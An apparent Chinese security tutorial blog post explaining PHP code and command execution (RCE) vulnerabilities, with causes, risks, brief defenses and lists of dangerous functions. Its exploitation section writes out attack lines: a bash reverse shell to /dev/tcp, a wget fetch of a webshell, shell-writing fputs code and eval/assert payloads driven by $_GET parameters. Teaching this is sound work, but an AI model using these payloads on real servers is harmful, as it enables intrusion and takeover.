一篇文章教你学会RCE代码&命令执行漏洞

Ⅰ、代码&命令执行

目录

Ⅰ、代码&命令执行

1. 漏洞成因

2. 利用

3. 漏洞危害

4. 防御

Ⅱ、命令执行 

1. 命令执行漏洞描述

2. 漏洞成因

3. 常用的命令执行函数

 Ⅲ、代码执行漏洞

1. 代码执行漏洞描述

2. 漏洞成因

3. 常用的代码执行函数


1. 漏洞成因

对于开发者:

  1. 后端人员为了方便管理网站
  2. 某些网站功能需要,把命令执行的这个接口交给了用户使用。

对于攻击者

1.用户可控变量

2.漏洞函数

2. 利用

1.写webshell

echo "" > webshell.php

2.外部下载

wget 网址 -O webshell.php

3.命令外带

需要用到DNSlog,DNSLog Platform

4.反弹shell

bash -i >& /dev/tcp/IP/port 0>&1

5.写shell

fputs(fopen("shell.php","a"),"");

3. 漏洞危害

代码执行危害:根据服务器语言不同,可导致PHP、Java、Python等任意代码执行

命令执行危害:导致任意系统命令执行(getshell)

  1. 继承web服务器的权限,去执行命令,读写文件。获取敏感文件
  2. 反弹shell
  3. 获取敏感数据文件
  4. 提权,写入恶意文件getshell。

4. 防御

  1. 尽量不要使用命令执行函数
  2. 用白名单将用户可输入函数写死(白名单,只能ping)
  3. 用正则表达式对用户输入进行过滤
  4. 使用WAF

Ⅱ、命令执行 

1. 命令执行漏洞描述

命令执行(Command Injection)指在某些开发需求中,需要引入对系统本地命令(比如system)的支持来完成某些特定的功能。当开发未对用户传入的参数进行严格的校验、过滤时,则很有可能会产生命令注入。攻击者使用命令注入来执行系统终端命令,直接获取服务器控制权限。

2. 漏洞成因

  • 用户可控变量
  • 漏洞函数

3. 常用的命令执行函数

system(“whoami”)      #执行外部程序,并且显示输出 
exec(“whoami”)        #echo exec(“whoami”)执行一个外部程序并输出结果
shell_exec(“whoami”)  #echo shell_exec(“whoami”)通过 shell 执行命令并将完整的输出以字符串的方式返回并输出
passthru(“whoami”)    #执行外部程序并且显示原始输出
反引号``			  #echo `whomi`执行whomi并输出结果

 Ⅲ、代码执行漏洞

1. 代码执行漏洞描述

代码执行(Remote Code Execute)应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。大部分都是根据源代码判断代码执行漏洞。

2. 漏洞成因

  • 用户可控变量
  • 漏洞函数

3. 常用的代码执行函数

eval(system(“whoami”))		eval()函数 #把字符串作为PHP代码执行 
assert(system("whoami"))	 #assert()函数把括号内的字符串当做PHP代码来执行。
call_user_func('assert',$_GET["cmd"])  #第一个参数 assert是被调用的回调函数,其余参数是回调函数的参数。
call_user_func_array('assert',[$_GET["cmd"]]);    #调用回调函数,并把一
个数组参数作为回调函数的参数。


?c=echo 123;
?c=echo 'hsvjash';
?c=system('phpinfo()');

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值